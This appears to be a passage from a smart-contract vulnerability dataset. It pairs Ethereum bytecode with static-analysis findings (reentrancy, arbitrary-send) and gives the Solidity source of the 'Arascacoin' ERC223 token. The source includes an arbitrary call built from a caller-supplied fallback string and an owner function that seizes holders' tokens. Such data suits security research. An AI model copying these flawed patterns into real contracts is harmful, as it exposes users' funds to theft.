ffffff1684610d72565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016115a095949392919061248c565b600060405180830381600087803b1580156115ba57600080fd5b505af11580156115ce573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162f90612351565b60405180910390fd5b60006116426116db565b9050611657818461170690919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c7573d6000803e3d6000fd5b5050565b6116d6838383611750565b505050565b60008060006116e861191b565b915091506116ff818361170690919063ffffffff16565b9250505090565b600061174883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061197a565b905092915050565b600080600080600080611762876119dd565b9550955095509550955095506117c086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a181611aeb565b6118ab8483611ba8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119089190612471565b60405180910390a3505050505050505050565b600080600060075490506000678ac7230489e80000905061194f678ac7230489e8000060075461170690919063ffffffff16565b82101561196d57600754678ac7230489e80000935093505050611976565b81819350935050505b9091565b600080831182906119c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b8919061230f565b60405180910390fd5b50600083856119d091906125ac565b9050809150509392505050565b60008060008060008060008060006119f88a60016009611be2565b9250925092506000611a086116db565b90506000806000611a1b8e878787611c78565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611305565b905092915050565b6000808284611a9c9190612556565b905083811015611ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad890612391565b60405180910390fd5b8091505092915050565b6000611af56116db565b90506000611b0c8284611d0190919063ffffffff16565b9050611b6081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bbd82600754611a4390919063ffffffff16565b600781905550611bd881600854611a8d90919063ffffffff16565b6008819055505050565b600080600080611c0e6064611c00888a611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c386064611c2a888b611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c6182611c53858c611a4390919063ffffffff16565b611a4390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c918589611d0190919063ffffffff16565b90506000611ca88689611d0190919063ffffffff16565b90506000611cbf8789611d0190919063ffffffff16565b90506000611ce882611cda8587611a4390919063ffffffff16565b611a4390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d145760009050611d76565b60008284611d2291906125dd565b9050828482611d3191906125ac565b14611d71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d68906123b1565b60405180910390fd5b809150505b92915050565b600081359050611d8b81612a7b565b92915050565b600081519050611da081612a7b565b92915050565b600081519050611db581612a92565b92915050565b600081359050611dca81612aa9565b92915050565b600081519050611ddf81612aa9565b92915050565b600060208284031215611dfb57611dfa6127c1565b5b6000611e0984828501611d7c565b91505092915050565b600060208284031215611e2857611e276127c1565b5b6000611e3684828501611d91565b91505092915050565b60008060408385031215611e5657611e556127c1565b5b6000611e6485828601611d7c565b9250506020611e7585828601611d7c565b9150509250929050565b600080600060608486031215611e9857611e976127c1565b5b6000611ea686828701611d7c565b9350506020611eb786828701611d7c565b9250506040611ec886828701611dbb565b9150509250925092565b60008060408385031215611ee957611ee86127c1565b5b6000611ef785828601611d7c565b9250506020611f0885828601611dbb565b9150509250929050565b600060208284031215611f2857611f276127c1565b5b6000611f3684828501611da6565b91505092915050565b600060208284031215611f5557611f546127c1565b5b6000611f6384828501611dd0565b91505092915050565b600080600060608486031215611f8557611f846127c1565b5b6000611f9386828701611dd0565b9350506020611fa486828701611dd0565b9250506040611fb586828701611dd0565b9150509250925092565b6000611fcb8383611fd7565b60208301905092915050565b611fe08161266b565b82525050565b611fef8161266b565b82525050565b600061200082612511565b61200a8185612534565b935061201583612501565b8060005b8381101561204657815161202d8882611fbf565b975061203883612527565b925050600181019050612019565b5085935050505092915050565b61205c8161267d565b82525050565b61206b816126c0565b82525050565b600061207c8261251c565b6120868185612545565b93506120968185602086016126d2565b61209f816127c6565b840191505092915050565b60006120b7602383612545565b91506120c2826127d7565b604082019050919050565b60006120da602a83612545565b91506120e582612826565b604082019050919050565b60006120fd602283612545565b915061210882612875565b604082019050919050565b6000612120601b83612545565b915061212b826128c4565b602082019050919050565b6000612143602183612545565b915061214e826128ed565b604082019050919050565b6000612166602083612545565b91506121718261293c565b602082019050919050565b6000612189602983612545565b915061219482612965565b604082019050919050565b60006121ac602583612545565b91506121b7826129b4565b604082019050919050565b60006121cf602483612545565b91506121da82612a03565b604082019050919050565b60006121f2601783612545565b91506121fd82612a52565b602082019050919050565b612211816126a9565b82525050565b612220816126b3565b82525050565b600060208201905061223b6000830184611fe6565b92915050565b60006040820190506122566000830185611fe6565b6122636020830184611fe6565b9392505050565b600060408201905061227f6000830185611fe6565b61228c6020830184612208565b9392505050565b600060c0820190506122a86000830189611fe6565b6122b56020830188612208565b6122c26040830187612062565b6122cf6060830186612062565b6122dc6080830185611fe6565b6122e960a0830184612208565b979650505050505050565b60006020820190506123096000830184612053565b92915050565b600060208201905081810360008301526123298184612071565b905092915050565b6000602082019050818103600083015261234a816120aa565b9050919050565b6000602082019050818103600083015261236a816120cd565b9050919050565b6000602082019050818103600083015261238a816120f0565b9050919050565b600060208201905081810360008301526123aa81612113565b9050919050565b600060208201905081810360008301526123ca81612136565b9050919050565b600060208201905081810360008301526123ea81612159565b9050919050565b6000602082019050818103600083015261240a8161217c565b9050919050565b6000602082019050818103600083015261242a8161219f565b9050919050565b6000602082019050818103600083015261244a816121c2565b9050919050565b6000602082019050818103600083015261246a816121e5565b9050919050565b60006020820190506124866000830184612208565b92915050565b600060a0820190506124a16000830188612208565b6124ae6020830187612062565b81810360408301526124c08186611ff5565b90506124cf6060830185611fe6565b6124dc6080830184612208565b9695505050505050565b60006020820190506124fb6000830184612217565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612561826126a9565b915061256c836126a9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125a1576125a0612705565b5b828201905092915050565b60006125b7826126a9565b91506125c2836126a9565b9250826125d2576125d1612734565b5b828204905092915050565b60006125e8826126a9565b91506125f3836126a9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262c5761262b612705565b5b828202905092915050565b6000612642826126a9565b915061264d836126a9565b9250828210156126605761265f612705565b5b828203905092915050565b600061267682612689565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126cb826126a9565b9050919050565b60005b838110156126f05780820151818401526020810190506126d5565b838111156126ff576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a848161266b565b8114612a8f57600080fd5b50565b612a9b8161267d565b8114612aa657600080fd5b50565b612ab2816126a9565b8114612abd57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204721f95b0082d6dcbaf08f9c4e91aa5b68eaecfbcb77c7f40fcf4fabd639555e64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,369
0x253f6e0bfe6c7675e8513b4c132f00b00b951d5e
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization * control functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the * sender account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC223 * @dev ERC223 contract interface with ERC20 functions and events * Fully backward compatible with ERC20 * Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended */ contract ERC223 { uint public totalSupply; // ERC223 and ERC20 functions and events function balanceOf(address who) public view returns (uint); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); // ERC223 functions function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); // ERC20 functions and events function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } /** * @title ContractReceiver * @dev Contract that is working with ERC223 tokens */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /** * tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function if data of token transaction is a function execution */ } } /** * @title Arascacoin * @author Arascacoin Project * @dev Arascacoin is an ERC223 Token with ERC20 functions and events * Fully backward compatible with ERC20 */ contract Arascacoin is ERC223, Ownable { using SafeMath for uint256; string public name = "Arascacoin"; string public symbol = "ASC"; uint8 public decimals = 8; uint256 public totalSupply = 10512e4 * 1e8; uint256 public distributeAmount = 0; bool public mintingFinished = false; mapping(address => uint256) public balanceOf; mapping(address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed from, uint256 amount); event Mint(address indexed to, uint256 amount); event MintFinished(); /** * @dev Constructor is called only once and can not be called again */ function Arascacoin() public { balanceOf[msg.sender] = totalSupply; } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOf[_owner]; } /** * @dev Prevent targets from sending or receiving tokens * @param targets Addresses to be frozen * @param isFrozen either to freeze it or not */ function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public { require(targets.length > 0); for (uint j = 0; j < targets.length; j++) { require(targets[j] != 0x0); frozenAccount[targets[j]] = isFrozen; FrozenFunds(targets[j], isFrozen); } } /** * @dev Prevent targets from sending or receiving tokens by setting Unix times * @param targets Addresses to be locked funds * @param unixTimes Unix times when locking up will be finished */ function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint j = 0; j < targets.length; j++){ require(unlockUnixTime[targets[j]] < unixTimes[j]); unlockUnixTime[targets[j]] = unixTimes[j]; LockedFunds(targets[j], unixTimes[j]); } } /** * @dev Function that is called when a user or another contract wants to transfer funds */ function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } /** * @dev Standard function transfer similar to ERC20 transfer with no _data * Added due to backwards compatibility reasons */ function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } // function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * Added due to backwards compatibility with ERC20 * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0) && _value > 0 && balanceOf[_from] >= _value && allowance[_from][msg.sender] >= _value && frozenAccount[_from] == false && frozenAccount[_to] == false && now > unlockUnixTime[_from] && now > unlockUnixTime[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Allows _spender to spend no more than _value tokens in your behalf * Added due to backwards compatibility with ERC20 * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender * Added due to backwards compatibility with ERC20 * @param _owner address The address which owns the funds * @param _spender address The address which will spend the funds */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowance[_owner][_spender]; } /** * @dev Burns a specific amount of tokens. * @param _from The address that will burn the tokens. * @param _unitAmount The amount of token to be burned. */ function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf[_from] >= _unitAmount); balanceOf[_from] = balanceOf[_from].sub(_unitAmount); totalSupply = totalSupply.sub(_unitAmount); Burn(_from, _unitAmount); } modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _unitAmount The amount of tokens to mint. */ function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) { require(_unitAmount > 0); totalSupply = totalSupply.add(_unitAmount); balanceOf[_to] = balanceOf[_to].add(_unitAmount); Mint(_to, _unitAmount); Transfer(address(0), _to, _unitAmount); return true; } /** * @dev Function to stop minting new tokens. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } /** * @dev Function to distribute tokens to the list of addresses by the provided amount */ function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) { require(amount > 0 && addresses.length > 0 && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); amount = amount.mul(1e8); uint256 totalAmount = amount.mul(addresses.length); require(balanceOf[msg.sender] >= totalAmount); for (uint j = 0; j < addresses.length; j++) { require(addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount); Transfer(msg.sender, addresses[j], amount); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); uint256 totalAmount = 0; for(uint j = 0; j < addresses.length; j++){ require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); totalAmount = totalAmount.add(amounts[j]); } require(balanceOf[msg.sender] >= totalAmount); for (j = 0; j < addresses.length; j++) { balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]); Transfer(msg.sender, addresses[j], amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } /** * @dev Function to collect tokens from the list of addresses */ function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length); uint256 totalAmount = 0; for (uint j = 0; j < addresses.length; j++) { require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); require(balanceOf[addresses[j]] >= amounts[j]); balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]); totalAmount = totalAmount.add(amounts[j]); Transfer(addresses[j], msg.sender, amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount); return true; } function setDistributeAmount(uint256 _unitAmount) onlyOwner public { distributeAmount = _unitAmount; } /** * @dev Function to distribute tokens to the msg.sender automatically * If distributeAmount is 0, this function doesn&#39;t work */ function autoDistribute() payable public { require(distributeAmount > 0 && balanceOf[owner] >= distributeAmount && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); if(msg.value > 0) owner.transfer(msg.value); balanceOf[owner] = balanceOf[owner].sub(distributeAmount); balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount); Transfer(owner, msg.sender, distributeAmount); } /** * @dev fallback function */ function() payable public { autoDistribute(); } }
0x6060604052600436106101455763ffffffff60e060020a60003504166305d2035b811461014f57806306fdde0314610176578063095ea7b31461020057806318160ddd1461022257806323b872dd14610247578063313ce5671461026f57806340c10f19146102985780634f25eced146102ba57806364ddc605146102cd57806370a082311461035c5780637d64bcb41461037b5780638da5cb5b1461038e57806394594625146103bd57806395d89b411461040e5780639dc29fac14610421578063a8f11eb914610145578063a9059cbb14610443578063b414d4b614610465578063be45fd6214610484578063c341b9f6146104e9578063cbbe974b1461053c578063d39b1d481461055b578063dd62ed3e14610571578063dd92459414610596578063f0dc417114610625578063f2fde38b146106b4578063f6368f8a146106d3575b61014d61077a565b005b341561015a57600080fd5b6101626108ef565b604051901515815260200160405180910390f35b341561018157600080fd5b6101896108f8565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101c55780820151838201526020016101ad565b50505050905090810190601f1680156101f25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020b57600080fd5b610162600160a060020a03600435166024356109a0565b341561022d57600080fd5b610235610a0c565b60405190815260200160405180910390f35b341561025257600080fd5b610162600160a060020a0360043581169060243516604435610a12565b341561027a57600080fd5b610282610c21565b60405160ff909116815260200160405180910390f35b34156102a357600080fd5b610162600160a060020a0360043516602435610c2a565b34156102c557600080fd5b610235610d2c565b34156102d857600080fd5b61014d600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610d3295505050505050565b341561036757600080fd5b610235600160a060020a0360043516610e8c565b341561038657600080fd5b610162610ea7565b341561039957600080fd5b6103a1610f14565b604051600160a060020a03909116815260200160405180910390f35b34156103c857600080fd5b61016260046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350610f2392505050565b341561041957600080fd5b6101896111b1565b341561042c57600080fd5b61014d600160a060020a0360043516602435611224565b341561044e57600080fd5b610162600160a060020a036004351660243561130c565b341561047057600080fd5b610162600160a060020a03600435166113e7565b341561048f57600080fd5b61016260048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506113fc95505050505050565b34156104f457600080fd5b61014d60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505050509135151591506114c79050565b341561054757600080fd5b610235600160a060020a03600435166115c9565b341561056657600080fd5b61014d6004356115db565b341561057c57600080fd5b610235600160a060020a03600435811690602435166115fb565b34156105a157600080fd5b61016260046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061162695505050505050565b341561063057600080fd5b6101626004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506118d895505050505050565b34156106bf57600080fd5b61014d600160a060020a0360043516611ba6565b34156106de57600080fd5b61016260048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528181529291906020840183838082843750949650611c4195505050505050565b60006006541180156107a85750600654600154600160a060020a031660009081526008602052604090205410155b80156107cd5750600160a060020a0333166000908152600a602052604090205460ff16155b80156107f05750600160a060020a0333166000908152600b602052604090205442115b15156107fb57600080fd5b600034111561083857600154600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561083857600080fd5b600654600154600160a060020a03166000908152600860205260409020546108659163ffffffff611f9916565b600154600160a060020a039081166000908152600860205260408082209390935560065433909216815291909120546108a39163ffffffff611fab16565b600160a060020a03338116600081815260086020526040908190209390935560015460065491939216916000805160206123e683398151915291905190815260200160405180910390a3565b60075460ff1681565b6109006123d3565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109965780601f1061096b57610100808354040283529160200191610996565b820191906000526020600020905b81548152906001019060200180831161097957829003601f168201915b5050505050905090565b600160a060020a03338116600081815260096020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60055490565b6000600160a060020a03831615801590610a2c5750600082115b8015610a515750600160a060020a038416600090815260086020526040902054829010155b8015610a845750600160a060020a0380851660009081526009602090815260408083203390941683529290522054829010155b8015610aa95750600160a060020a0384166000908152600a602052604090205460ff16155b8015610ace5750600160a060020a0383166000908152600a602052604090205460ff16155b8015610af15750600160a060020a0384166000908152600b602052604090205442115b8015610b145750600160a060020a0383166000908152600b602052604090205442115b1515610b1f57600080fd5b600160a060020a038416600090815260086020526040902054610b48908363ffffffff611f9916565b600160a060020a038086166000908152600860205260408082209390935590851681522054610b7d908363ffffffff611fab16565b600160a060020a03808516600090815260086020908152604080832094909455878316825260098152838220339093168252919091522054610bc5908363ffffffff611f9916565b600160a060020a03808616600081815260096020908152604080832033861684529091529081902093909355908516916000805160206123e68339815191529085905190815260200160405180910390a35060015b9392505050565b60045460ff1690565b60015460009033600160a060020a03908116911614610c4857600080fd5b60075460ff1615610c5857600080fd5b60008211610c6557600080fd5b600554610c78908363ffffffff611fab16565b600555600160a060020a038316600090815260086020526040902054610ca4908363ffffffff611fab16565b600160a060020a0384166000818152600860205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a03831660006000805160206123e68339815191528460405190815260200160405180910390a350600192915050565b60065481565b60015460009033600160a060020a03908116911614610d5057600080fd5b60008351118015610d62575081518351145b1515610d6d57600080fd5b5060005b8251811015610e8757818181518110610d8657fe5b90602001906020020151600b6000858481518110610da057fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410610dce57600080fd5b818181518110610dda57fe5b90602001906020020151600b6000858481518110610df457fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055828181518110610e2457fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110610e6457fe5b9060200190602002015160405190815260200160405180910390a2600101610d71565b505050565b600160a060020a031660009081526008602052604090205490565b60015460009033600160a060020a03908116911614610ec557600080fd5b60075460ff1615610ed557600080fd5b6007805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600154600160a060020a031681565b60008060008084118015610f38575060008551115b8015610f5d5750600160a060020a0333166000908152600a602052604090205460ff16155b8015610f805750600160a060020a0333166000908152600b602052604090205442115b1515610f8b57600080fd5b610f9f846305f5e10063ffffffff611fba16565b9350610fb38551859063ffffffff611fba16565b600160a060020a03331660009081526008602052604090205490925082901015610fdc57600080fd5b5060005b845181101561116457848181518110610ff557fe5b90602001906020020151600160a060020a03161580159061104a5750600a600086838151811061102157fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b801561108f5750600b600086838151811061106157fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561109a57600080fd5b6110de84600860008885815181106110ae57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff611fab16565b600860008784815181106110ee57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205584818151811061111e57fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206123e68339815191528660405190815260200160405180910390a3600101610fe0565b600160a060020a03331660009081526008602052604090205461118d908363ffffffff611f9916565b33600160a060020a0316600090815260086020526040902055506001949350505050565b6111b96123d3565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109965780601f1061096b57610100808354040283529160200191610996565b60015433600160a060020a0390811691161461123f57600080fd5b6000811180156112685750600160a060020a038216600090815260086020526040902054819010155b151561127357600080fd5b600160a060020a03821660009081526008602052604090205461129c908263ffffffff611f9916565b600160a060020a0383166000908152600860205260409020556005546112c8908263ffffffff611f9916565b600555600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412